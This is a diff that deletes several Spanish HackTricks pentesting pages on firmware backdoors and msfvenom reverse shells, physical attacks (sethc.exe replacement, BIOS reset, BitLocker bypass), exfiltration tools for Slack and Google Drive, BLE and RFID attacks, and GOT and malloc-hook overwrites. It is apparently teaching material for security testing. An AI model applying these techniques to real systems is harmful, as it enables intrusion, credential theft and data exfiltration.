5. La puerta trasera puede ser copiada al directorio /usr/bin del firmware extraído.
6. El binario QEMU apropiado puede ser copiado al rootfs del firmware extraído.
7. La puerta trasera puede ser emulada usando chroot y QEMU.
8. La puerta trasera puede ser accedida a través de netcat.
9. El binario QEMU debe ser eliminado del rootfs del firmware extraído.
10. El firmware modificado puede ser reempaquetado usando FMK.
11. El firmware con puerta trasera puede ser probado emulándolo con el kit de herramientas de análisis de firmware (FAT) y conectándose a la IP y puerto de la puerta trasera objetivo usando netcat.
Si ya se ha obtenido un shell root a través de análisis dinámico, manipulación del bootloader o pruebas de seguridad de hardware, se pueden ejecutar binarios maliciosos precompilados como implantes o shells reversos. Herramientas automatizadas de carga útil/implante como el marco Metasploit y 'msfvenom' pueden ser aprovechadas usando los siguientes pasos:
1. Se debe identificar la arquitectura del firmware objetivo y el endianness.
2. Msfvenom puede ser utilizado para especificar la carga útil objetivo, la IP del host atacante, el número de puerto de escucha, el tipo de archivo, la arquitectura, la plataforma y el archivo de salida.
3. La carga útil puede ser transferida al dispositivo comprometido y asegurarse de que tenga permisos de ejecución.
4. Metasploit puede ser preparado para manejar solicitudes entrantes iniciando msfconsole y configurando los ajustes de acuerdo con la carga útil.
5. El shell reverso de meterpreter puede ser ejecutado en el dispositivo comprometido.
6. Las sesiones de meterpreter pueden ser monitoreadas a medida que se abren.
7. Se pueden realizar actividades posteriores a la explotación.
Si es posible, se pueden explotar vulnerabilidades dentro de los scripts de inicio para obtener acceso persistente a un dispositivo a través de reinicios. Estas vulnerabilidades surgen cuando los scripts de inicio hacen referencia, [enlazan simbólicamente](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), o dependen de código ubicado en ubicaciones montadas no confiables, como tarjetas SD y volúmenes flash utilizados para almacenar datos fuera de los sistemas de archivos raíz.
## Referencias
- Para más información, consulte [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
{{#include ../../banners/hacktricks-training.md}}

57
src/physical-attacks/physical-attacks.md
View File

@ -1,57 +0,0 @@
# Ataques Físicos
{{#include ../banners/hacktricks-training.md}}
## Recuperación de Contraseña de BIOS y Seguridad del Sistema
**Restablecer el BIOS** se puede lograr de varias maneras. La mayoría de las placas base incluyen una **batería** que, al ser retirada durante aproximadamente **30 minutos**, restablecerá la configuración del BIOS, incluida la contraseña. Alternativamente, se puede ajustar un **jumper en la placa base** para restablecer estas configuraciones conectando pines específicos.
Para situaciones donde los ajustes de hardware no son posibles o prácticos, las **herramientas de software** ofrecen una solución. Ejecutar un sistema desde un **Live CD/USB** con distribuciones como **Kali Linux** proporciona acceso a herramientas como **_killCmos_** y **_CmosPWD_**, que pueden ayudar en la recuperación de la contraseña del BIOS.
En casos donde la contraseña del BIOS es desconocida, ingresarla incorrectamente **tres veces** generalmente resultará en un código de error. Este código se puede usar en sitios web como [https://bios-pw.org](https://bios-pw.org) para potencialmente recuperar una contraseña utilizable.
### Seguridad UEFI
Para sistemas modernos que utilizan **UEFI** en lugar del BIOS tradicional, se puede utilizar la herramienta **chipsec** para analizar y modificar configuraciones de UEFI, incluida la desactivación de **Secure Boot**. Esto se puede lograr con el siguiente comando:
`python chipsec_main.py -module exploits.secure.boot.pk`
### Análisis de RAM y Ataques de Arranque en Frío
La RAM retiene datos brevemente después de cortar la energía, generalmente durante **1 a 2 minutos**. Esta persistencia se puede extender a **10 minutos** aplicando sustancias frías, como nitrógeno líquido. Durante este período extendido, se puede crear un **volcado de memoria** utilizando herramientas como **dd.exe** y **volatility** para su análisis.
### Ataques de Acceso Directo a la Memoria (DMA)
**INCEPTION** es una herramienta diseñada para **manipulación de memoria física** a través de DMA, compatible con interfaces como **FireWire** y **Thunderbolt**. Permite eludir procedimientos de inicio de sesión parcheando la memoria para aceptar cualquier contraseña. Sin embargo, es ineficaz contra sistemas **Windows 10**.
### Live CD/USB para Acceso al Sistema
Cambiar binarios del sistema como **_sethc.exe_** o **_Utilman.exe_** con una copia de **_cmd.exe_** puede proporcionar un símbolo del sistema con privilegios de sistema. Herramientas como **chntpw** se pueden usar para editar el archivo **SAM** de una instalación de Windows, permitiendo cambios de contraseña.
**Kon-Boot** es una herramienta que facilita el inicio de sesión en sistemas Windows sin conocer la contraseña al modificar temporalmente el núcleo de Windows o UEFI. Más información se puede encontrar en [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
### Manejo de Características de Seguridad de Windows
#### Atajos de Arranque y Recuperación
- **Supr**: Acceder a la configuración del BIOS.
- **F8**: Entrar en modo de recuperación.
- Presionar **Shift** después del banner de Windows puede eludir el inicio de sesión automático.
#### Dispositivos BAD USB
Dispositivos como **Rubber Ducky** y **Teensyduino** sirven como plataformas para crear dispositivos **bad USB**, capaces de ejecutar cargas útiles predefinidas al conectarse a una computadora objetivo.
#### Copia de Sombra de Volumen
Los privilegios de administrador permiten la creación de copias de archivos sensibles, incluido el archivo **SAM**, a través de PowerShell.
### Eludir la Encriptación BitLocker
La encriptación BitLocker puede potencialmente ser eludida si se encuentra la **contraseña de recuperación** dentro de un archivo de volcado de memoria (**MEMORY.DMP**). Herramientas como **Elcomsoft Forensic Disk Decryptor** o **Passware Kit Forensic** se pueden utilizar para este propósito.
### Ingeniería Social para Adición de Clave de Recuperación
Se puede agregar una nueva clave de recuperación de BitLocker a través de tácticas de ingeniería social, convenciendo a un usuario para que ejecute un comando que añade una nueva clave de recuperación compuesta de ceros, simplificando así el proceso de descifrado.
{{#include ../banners/hacktricks-training.md}}

16
src/post-exploitation.md
View File

@ -1,16 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
## **Local l00t**
- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Estos scripts, además de buscar vectores PE, buscarán información sensible dentro del sistema de archivos.
- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): El **proyecto LaZagne** es una aplicación de código abierto utilizada para **recuperar muchas contraseñas** almacenadas en una computadora local. Cada software almacena sus contraseñas utilizando diferentes técnicas (texto plano, APIs, algoritmos personalizados, bases de datos, etc.). Esta herramienta ha sido desarrollada con el propósito de encontrar estas contraseñas para el software más comúnmente utilizado.
## **Servicios Externos**
- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Este módulo se conectará a la API de Confluence utilizando un token de acceso, exportará a PDF y descargará los documentos de Confluence a los que el objetivo tiene acceso.
- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Herramienta de Red Team para exfiltrar archivos de Google Drive de un objetivo al que tú (el atacante) tienes acceso, a través de la API de Google Drive. Esto incluye todos los archivos compartidos, todos los archivos de unidades compartidas y todos los archivos de unidades de dominio a los que el objetivo tiene acceso.
- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Herramienta de Red Team para exfiltrar el Directorio de Personas de Google de la organización objetivo a la que tienes acceso, a través de la API de Personas de Google.
- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Esta es una herramienta desarrollada en Python que utiliza las APIs nativas de Slack para extraer información 'interesante' de un espacio de trabajo de Slack dado un token de acceso.
- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound es una herramienta de línea de comandos para equipos rojos y azules que permite realizar rápidamente reconocimiento de un espacio de trabajo/organización de Slack. Slackhound hace que la recopilación de usuarios, archivos, mensajes, etc. de una organización sea rápidamente buscable y los objetos grandes se escriben en CSV para revisión offline.
{{#include ./banners/hacktricks-training.md}}

1
src/radio-hacking/README.md
View File

@ -1 +0,0 @@
# Hackeo de Radio

16
src/radio-hacking/low-power-wide-area-network.md
View File

@ -1,16 +0,0 @@
# Red de Área Amplia de Bajo Consumo
{{#include ../banners/hacktricks-training.md}}
## Introducción
**Red de Área Amplia de Bajo Consumo** (LPWAN) es un grupo de tecnologías de red inalámbrica, de bajo consumo y de área amplia diseñadas para **comunicaciones de largo alcance** a una baja tasa de bits.\
Pueden alcanzar más de **seis millas** y sus **baterías** pueden durar hasta **20 años**.
Long Range (**LoRa**) es popular en múltiples países y tiene una especificación de código abierto llamada **LoRaWAN**.
### LPWAN, LoRa y LoRaWAN
[https://github.com/IOActive/laf](https://github.com/IOActive/laf)
{{#include ../banners/hacktricks-training.md}}

65
src/radio-hacking/pentesting-ble-bluetooth-low-energy.md
View File

@ -1,65 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
# Introducción
Disponible desde la especificación Bluetooth 4.0, BLE utiliza solo 40 canales, cubriendo el rango de 2400 a 2483.5 MHz. En contraste, el Bluetooth tradicional utiliza 79 canales en ese mismo rango.
Los dispositivos BLE se comunican enviando **paquetes de publicidad** (**beacons**), estos paquetes transmiten la existencia del dispositivo BLE a otros dispositivos cercanos. Estos beacons a veces **envían datos**, también.
El dispositivo que escucha, también llamado dispositivo central, puede responder a un paquete de publicidad con una **solicitud SCAN** enviada específicamente al dispositivo de publicidad. La **respuesta** a ese escaneo utiliza la misma estructura que el paquete de **publicidad** con información adicional que no pudo caber en la solicitud de publicidad inicial, como el nombre completo del dispositivo.
![](<../images/image (201) (2) (1) (1).png>)
El byte de preámbulo sincroniza la frecuencia, mientras que la dirección de acceso de cuatro bytes es un **identificador de conexión**, que se utiliza en escenarios donde múltiples dispositivos están tratando de establecer conexiones en los mismos canales. A continuación, la Unidad de Datos de Protocolo (**PDU**) contiene los **datos de publicidad**. Hay varios tipos de PDU; los más comúnmente utilizados son ADV_NONCONN_IND y ADV_IND. Los dispositivos utilizan el tipo de PDU **ADV_NONCONN_IND** si **no aceptan conexiones**, transmitiendo datos solo en el paquete de publicidad. Los dispositivos utilizan **ADV_IND** si **permiten conexiones** y **dejan de enviar publicidad** una vez que se ha **establecido** una **conexión**.
## GATT
El **Perfil de Atributo Genérico** (GATT) define cómo **el dispositivo debe formatear y transferir datos**. Cuando estás analizando la superficie de ataque de un dispositivo BLE, a menudo concentrarás tu atención en el GATT (o GATTs), porque es cómo **se activa la funcionalidad del dispositivo** y cómo se almacenan, agrupan y modifican los datos. El GATT enumera las características, descriptores y servicios de un dispositivo en una tabla como valores de 16 o 32 bits. Una **característica** es un valor de **datos** **enviado** entre el dispositivo central y el periférico. Estas características pueden tener **descriptores** que **proporcionan información adicional sobre ellas**. Las **características** a menudo se **agrupan** en **servicios** si están relacionadas con la realización de una acción particular.
# Enumeración
```bash
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up
# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66
```
## GATTool
**GATTool** permite **establecer** una **conexión** con otro dispositivo, listar las **características** de ese dispositivo y leer y escribir sus atributos.\
GATTTool puede lanzar un shell interactivo con la opción `-I`:
```bash
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle:
0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle:
0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
[...]
# Write data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)
# Read data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16
# Read connecting with an authenticated encrypted connection
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c
```
## Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported
# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
```
{{#include ../banners/hacktricks-training.md}}

99
src/radio-hacking/pentesting-rfid.md
View File

@ -1,99 +0,0 @@
# Pentesting RFID
{{#include ../banners/hacktricks-training.md}}
## Introducción
**La Identificación por Radiofrecuencia (RFID)** es la solución de radio de corto alcance más popular. Se utiliza generalmente para almacenar y transmitir información que identifica a una entidad.
Una etiqueta RFID puede depender de **su propia fuente de energía (activa)**, como una batería integrada, o recibir su energía de la antena lectora utilizando la corriente **inducida por las ondas de radio recibidas** (**pasiva**).
### Clases
EPCglobal divide las etiquetas RFID en seis categorías. Una etiqueta en cada categoría tiene todas las capacidades listadas en la categoría anterior, lo que la hace compatible hacia atrás.
- Las etiquetas de **Clase 0** son etiquetas **pasivas** que operan en bandas de **UHF**. El proveedor las **preprograma** en la fábrica de producción. Como resultado, **no se puede cambiar** la información almacenada en su memoria.
- Las etiquetas de **Clase 1** también pueden operar en bandas de **HF**. Además, pueden ser **escritas solo una vez** después de la producción. Muchas etiquetas de Clase 1 también pueden procesar **comprobaciones de redundancia cíclica** (CRCs) de los comandos que reciben. Los CRC son unos pocos bytes adicionales al final de los comandos para la detección de errores.
- Las etiquetas de **Clase 2** pueden ser **escritas múltiples veces**.
- Las etiquetas de **Clase 3** pueden contener **sensores integrados** que pueden registrar parámetros ambientales, como la temperatura actual o el movimiento de la etiqueta. Estas etiquetas son **semi-pasivas**, porque aunque **tienen** una fuente de energía integrada, como una **batería** integrada, **no pueden iniciar** la **comunicación** inalámbrica con otras etiquetas o lectores.
- Las etiquetas de **Clase 4** pueden iniciar comunicación con otras etiquetas de la misma clase, lo que las convierte en **etiquetas activas**.
- Las etiquetas de **Clase 5** pueden proporcionar **energía a otras etiquetas y comunicarse con todas las clases de etiquetas anteriores**. Las etiquetas de Clase 5 pueden actuar como **lectores RFID**.
### Información Almacenada en Etiquetas RFID
La memoria de una etiqueta RFID generalmente almacena cuatro tipos de datos: los **datos de identificación**, que **identifican** la **entidad** a la que está adjunta la etiqueta (estos datos incluyen campos definidos por el usuario, como cuentas bancarias); los **datos suplementarios**, que proporcionan **más** **detalles** sobre la entidad; los **datos de control**, utilizados para la **configuración** interna de la etiqueta; y los **datos del fabricante** de la etiqueta, que contienen el Identificador Único de la etiqueta (**UID**) y detalles sobre la **producción**, **tipo** y **proveedor** de la etiqueta. Encontrarás los dos primeros tipos de datos en todas las etiquetas comerciales; los últimos dos pueden diferir según el proveedor de la etiqueta.
La norma ISO especifica el valor del Identificador de Familia de Aplicación (**AFI**), un código que indica el **tipo de objeto** al que pertenece la etiqueta. Otro registro importante, también especificado por ISO, es el Identificador de Formato de Almacenamiento de Datos (**DSFID**), que define la **organización lógica de los datos del usuario**.
La mayoría de los **controles de seguridad** RFID tienen mecanismos que **restringen** las operaciones de **lectura** o **escritura** en cada bloque de memoria de usuario y en los registros especiales que contienen los valores AFI y DSFID. Estos **mecanismos de bloqueo** utilizan datos almacenados en la memoria de control y tienen **contraseñas predeterminadas** preconfiguradas por el proveedor, pero permiten a los propietarios de la etiqueta **configurar contraseñas personalizadas**.
### Comparación de Etiquetas de Baja y Alta Frecuencia
<figure><img src="../images/image (27).png" alt=""><figcaption></figcaption></figure>
## Etiquetas RFID de Baja Frecuencia (125kHz)
Las **etiquetas de baja frecuencia** se utilizan a menudo en sistemas que **no requieren alta seguridad**: acceso a edificios, llaves de intercomunicador, tarjetas de membresía de gimnasio, etc. Debido a su mayor rango, son convenientes para usar en estacionamientos de pago: el conductor no necesita acercar la tarjeta al lector, ya que se activa desde más lejos. Al mismo tiempo, las etiquetas de baja frecuencia son muy primitivas, tienen una baja tasa de transferencia de datos. Por esa razón, es imposible implementar una transferencia de datos bidireccional compleja para cosas como mantener el saldo y la criptografía. Las etiquetas de baja frecuencia solo transmiten su ID corta sin ningún medio de autenticación.
Estos dispositivos dependen de la tecnología **RFID** **pasiva** y operan en un **rango de 30 kHz a 300 kHz**, aunque es más habitual usar 125 kHz a 134 kHz:
- **Largo Alcance** — una frecuencia más baja se traduce en un mayor alcance. Hay algunos lectores EM-Marin y HID, que funcionan a una distancia de hasta un metro. Estos se utilizan a menudo en estacionamientos.
- **Protocolo Primitivo** — debido a la baja tasa de transferencia de datos, estas etiquetas solo pueden transmitir su ID corta. En la mayoría de los casos, los datos no están autenticados y no están protegidos de ninguna manera. Tan pronto como la tarjeta está en el rango del lector, comienza a transmitir su ID.
- **Baja Seguridad** — Estas tarjetas pueden ser fácilmente copiadas, o incluso leídas desde el bolsillo de otra persona debido a la primitividad del protocolo.
**Protocolos populares de 125 kHz:**
- **EM-Marin** — EM4100, EM4102. El protocolo más popular en la CEI. Puede ser leído desde aproximadamente un metro debido a su simplicidad y estabilidad.
- **HID Prox II** — protocolo de baja frecuencia introducido por HID Global. Este protocolo es más popular en los países occidentales. Es más complejo y las tarjetas y lectores para este protocolo son relativamente caros.
- **Indala** — protocolo de baja frecuencia muy antiguo que fue introducido por Motorola, y más tarde adquirido por HID. Es menos probable que lo encuentres en la naturaleza en comparación con los dos anteriores porque está en desuso.
En realidad, hay muchos más protocolos de baja frecuencia. Pero todos utilizan la misma modulación en la capa física y pueden considerarse, de una forma u otra, una variación de los listados anteriormente.
### Ataque
Puedes **atacar estas etiquetas con el Flipper Zero**:
{{#ref}}
../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md
{{#endref}}
## Etiquetas RFID de Alta Frecuencia (13.56 MHz)
Las **etiquetas de alta frecuencia** se utilizan para una interacción más compleja entre el lector y la etiqueta cuando se necesita criptografía, una gran transferencia de datos bidireccional, autenticación, etc.\
Se encuentran generalmente en tarjetas bancarias, transporte público y otros pases seguros.
Las **etiquetas de alta frecuencia de 13.56 MHz son un conjunto de estándares y protocolos**. Se les suele llamar [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), pero eso no siempre es correcto. El conjunto de protocolos básico utilizado en los niveles físico y lógico es ISO 14443. Los protocolos de alto nivel, así como los estándares alternativos (como ISO 19092), se basan en él. Muchas personas se refieren a esta tecnología como **Comunicación de Campo Cercano (NFC)**, un término para dispositivos que operan en la frecuencia de 13.56 MHz.
<figure><img src="../images/image (22).png" alt=""><figcaption></figcaption></figure>
Para ponerlo de manera simple, la arquitectura de NFC funciona así: el protocolo de transmisión es elegido por la empresa que fabrica las tarjetas e implementado basado en el nivel bajo ISO 14443. Por ejemplo, NXP inventó su propio protocolo de transmisión de alto nivel llamado Mifare. Pero en el nivel inferior, las tarjetas Mifare se basan en el estándar ISO 14443-A.
Flipper puede interactuar tanto con el protocolo ISO 14443 de bajo nivel, como con el protocolo de transferencia de datos Mifare Ultralight y EMV utilizado en tarjetas bancarias. Estamos trabajando en agregar soporte para Mifare Classic y NFC NDEF. Un análisis exhaustivo de los protocolos y estándares que componen NFC merece un artículo separado que planeamos publicar más adelante.
Todas las tarjetas de alta frecuencia basadas en el estándar ISO 14443-A tienen un ID de chip único. Actúa como el número de serie de la tarjeta, como la dirección MAC de una tarjeta de red. **Por lo general, el UID tiene 4 o 7 bytes de longitud**, pero rara vez puede **llegar hasta 10**. Los UIDs no son un secreto y son fácilmente legibles, **a veces incluso impresos en la propia tarjeta**.
Hay muchos sistemas de control de acceso que dependen del UID para **autenticar y otorgar acceso**. A veces esto sucede **incluso** cuando las etiquetas RFID **soportan criptografía**. Tal **mal uso** las reduce al nivel de las **tarjetas de 125 kHz** en términos de **seguridad**. Las tarjetas virtuales (como Apple Pay) utilizan un UID dinámico para que los propietarios de teléfonos no puedan abrir puertas con su aplicación de pago.
- **Bajo alcance** — las tarjetas de alta frecuencia están diseñadas específicamente para que deban ser colocadas cerca del lector. Esto también ayuda a proteger la tarjeta de interacciones no autorizadas. El rango máximo de lectura que logramos alcanzar fue de aproximadamente 15 cm, y eso fue con lectores de alto rango hechos a medida.
- **Protocolos avanzados** — las velocidades de transferencia de datos de hasta 424 kbps permiten protocolos complejos con transferencia de datos bidireccional completa. Lo que a su vez **permite la criptografía**, la transferencia de datos, etc.
- **Alta seguridad** — las tarjetas de contacto sin contacto de alta frecuencia no son en modo alguno inferiores a las tarjetas inteligentes. Hay tarjetas que soportan algoritmos criptográficamente fuertes como AES e implementan criptografía asimétrica.
### Ataque
Puedes **atacar estas etiquetas con el Flipper Zero**:
{{#ref}}
../todo/radio-hacking/flipper-zero/fz-nfc.md
{{#endref}}
O usando el **proxmark**:
{{#ref}}
../todo/radio-hacking/proxmark-3.md
{{#endref}}
## Referencias
- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
{{#include ../banners/hacktricks-training.md}}

1
src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md
View File

@ -1 +0,0 @@
# Escritura Arbitraria 2 Exec

25
src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
View File

@ -1,25 +0,0 @@
# AW2Exec - \_\_malloc_hook
{{#include ../../../banners/hacktricks-training.md}}
## **Malloc Hook**
Como se puede ver en [sitio oficial de GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), la variable **`__malloc_hook`** es un puntero que apunta a la **dirección de una función que será llamada** cada vez que se llame a `malloc()`, **almacenada en la sección de datos de la biblioteca libc**. Por lo tanto, si esta dirección se sobrescribe con un **One Gadget**, por ejemplo, y se llama a `malloc`, se **llamará al One Gadget**.
Para llamar a malloc, es posible esperar a que el programa lo llame o **llamando a `printf("%10000$c")`**, lo que asigna demasiados bytes, haciendo que `libc` llame a malloc para asignarlos en el heap.
Más información sobre One Gadget en:
{{#ref}}
../one-gadget.md
{{#endref}}
> [!CAUTION]
> Tenga en cuenta que los hooks están **deshabilitados para GLIBC >= 2.34**. Hay otras técnicas que se pueden usar en versiones modernas de GLIBC. Ver [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
## References
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)
{{#include ../../../banners/hacktricks-training.md}}

64
src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md
View File

@ -1,64 +0,0 @@
# AW2Exec - GOT/PLT
{{#include ../../../banners/hacktricks-training.md}}
## **Información Básica**
### **GOT: Tabla de Desplazamiento Global**
La **Tabla de Desplazamiento Global (GOT)** es un mecanismo utilizado en binarios vinculados dinámicamente para gestionar las **direcciones de funciones externas**. Dado que estas **direcciones no se conocen hasta el tiempo de ejecución** (debido al enlace dinámico), la GOT proporciona una forma de **actualizar dinámicamente las direcciones de estos símbolos externos** una vez que se resuelven.
Cada entrada en la GOT corresponde a un símbolo en las bibliotecas externas que el binario puede llamar. Cuando se **llama a una función por primera vez, su dirección real es resuelta por el enlazador dinámico y almacenada en la GOT**. Las llamadas posteriores a la misma función utilizan la dirección almacenada en la GOT, evitando así el costo de resolver la dirección nuevamente.
### **PLT: Tabla de Enlace de Procedimientos**
La **Tabla de Enlace de Procedimientos (PLT)** trabaja en estrecha colaboración con la GOT y sirve como un trampolín para manejar llamadas a funciones externas. Cuando un binario **llama a una función externa por primera vez, el control se pasa a una entrada en la PLT asociada con esa función**. Esta entrada de la PLT es responsable de invocar al enlazador dinámico para resolver la dirección de la función si aún no se ha resuelto. Después de que se resuelve la dirección, se almacena en la GOT.
**Por lo tanto,** las entradas de la GOT se utilizan directamente una vez que se resuelve la dirección de una función o variable externa. **Las entradas de la PLT se utilizan para facilitar la resolución inicial** de estas direcciones a través del enlazador dinámico.
## Obtener Ejecución
### Verificar la GOT
Obtén la dirección de la tabla GOT con: **`objdump -s -j .got ./exec`**
![](<../../../images/image (619).png>)
Observa cómo después de **cargar** el **ejecutable** en GEF puedes **ver** las **funciones** que están en la **GOT**: `gef➤ x/20x 0xADDR_GOT`
![](<../../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
Usando GEF puedes **iniciar** una sesión de **depuración** y ejecutar **`got`** para ver la tabla got:
![](<../../../images/image (621).png>)
### GOT2Exec
En un binario, la GOT tiene las **direcciones a las funciones o** a la **sección PLT** que cargará la dirección de la función. El objetivo de esta escritura arbitraria es **sobrescribir una entrada de la GOT** de una función que se va a ejecutar más tarde **con** la **dirección** de la PLT de la **función** **`system`** por ejemplo.
Idealmente, deberías **sobrescribir** la **GOT** de una **función** que va a ser **llamada con parámetros controlados por ti** (así podrás controlar los parámetros enviados a la función system).
Si **`system`** **no se utiliza** en el script, la función system **no** tendrá una entrada en la PLT. En este escenario, necesitarás **filtrar primero la dirección** de la función `system` y luego sobrescribir la GOT para apuntar a esta dirección.
Puedes ver las direcciones de la PLT con **`objdump -j .plt -d ./vuln_binary`**
## **One Gadget**
{{#ref}}
../one-gadget.md
{{#endref}}
## **Protecciones**
La protección **Full RELRO** está destinada a proteger contra este tipo de técnica al resolver todas las direcciones de las funciones cuando se inicia el binario y hacer que la **tabla GOT sea de solo lectura** después de eso:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
{{#endref}}
## Referencias
- [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
{{#include ../../../banners/hacktricks-training.md}}

41
src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md
View File

@ -1,41 +0,0 @@
# AWS2Exec - .dtors & .fini_array
{{#include ../../../banners/hacktricks-training.md}}
## .dtors
> [!CAUTION]
> Hoy en día es muy **raro encontrar un binario con una sección .dtors**.
Los destructores son funciones que se **ejecutan antes de que el programa termine** (después de que la función `main` retorna).\
Las direcciones de estas funciones se almacenan dentro de la sección **`.dtors`** del binario y, por lo tanto, si logras **escribir** la **dirección** en un **shellcode** en **`__DTOR_END__`**, eso será **ejecutado** antes de que el programa termine.
Obtén la dirección de esta sección con:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Usualmente encontrarás los marcadores **DTOR** **entre** los valores `ffffffff` y `00000000`. Así que si solo ves esos valores, significa que **no hay ninguna función registrada**. Así que **sobrescribe** el **`00000000`** con la **dirección** al **shellcode** para ejecutarlo.
> [!WARNING]
> Por supuesto, primero necesitas encontrar un **lugar para almacenar el shellcode** para poder llamarlo más tarde.
## **.fini_array**
Esencialmente, esta es una estructura con **funciones que serán llamadas** antes de que el programa termine, como **`.dtors`**. Esto es interesante si puedes llamar a tu **shellcode simplemente saltando a una dirección**, o en casos donde necesitas volver a **`main`** nuevamente para **explotar la vulnerabilidad una segunda vez**.
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
```
Ten en cuenta que esto **no** **creará** un **bucle eterno** porque cuando regreses a main, el canario lo notará, el final de la pila podría estar corrupto y la función no se volverá a llamar. Así que con esto podrás **tener 1 ejecución más** de la vulnerabilidad.
> [!CAUTION]
> Ten en cuenta que con [Full RELRO](../common-binary-protections-and-bypasses/relro.md), la sección `.fini_array` se vuelve **de solo lectura**.
{{#include ../../../banners/hacktricks-training.md}}

29
src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md
View File

@ -1,29 +0,0 @@
# Protecciones Binarias Comunes
{{#include ../../../banners/hacktricks-training.md}}
## Habilitar Archivos de Core
**Archivos de Core** son un tipo de archivo generado por un sistema operativo cuando un proceso falla. Estos archivos capturan la imagen de memoria del proceso fallido en el momento de su terminación, incluyendo la memoria del proceso, registros y el estado del contador de programa, entre otros detalles. Esta instantánea puede ser extremadamente valiosa para depurar y entender por qué ocurrió el fallo.
### **Habilitando la Generación de Archivos de Core**
Por defecto, muchos sistemas limitan el tamaño de los archivos de core a 0 (es decir, no generan archivos de core) para ahorrar espacio en disco. Para habilitar la generación de archivos de core, puedes usar el comando `ulimit` (en bash o shells similares) o configurar ajustes a nivel de sistema.
- **Usando ulimit**: El comando `ulimit -c unlimited` permite que la sesión de shell actual cree archivos de core de tamaño ilimitado. Esto es útil para sesiones de depuración, pero no es persistente a través de reinicios o nuevas sesiones.
```bash
ulimit -c unlimited
```
- **Configuración Persistente**: Para una solución más permanente, puedes editar el archivo `/etc/security/limits.conf` para incluir una línea como `* soft core unlimited`, que permite a todos los usuarios generar archivos de núcleo de tamaño ilimitado sin tener que establecer ulimit manualmente en sus sesiones.
```markdown
- soft core unlimited
```
### **Analizando Archivos de Núcleo con GDB**
Para analizar un archivo de núcleo, puedes usar herramientas de depuración como GDB (el depurador GNU). Suponiendo que tienes un ejecutable que produjo un volcado de núcleo y el archivo de núcleo se llama `core_file`, puedes comenzar el análisis con:
```bash
gdb /path/to/executable /path/to/core_file
```
Este comando carga el ejecutable y el archivo de núcleo en GDB, lo que te permite inspeccionar el estado del programa en el momento del fallo. Puedes usar comandos de GDB para explorar la pila, examinar variables y entender la causa del fallo.
{{#include ../../../banners/hacktricks-training.md}}

157
src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md
View File

@ -1,157 +0,0 @@
# ASLR
{{#include ../../../../banners/hacktricks-training.md}}
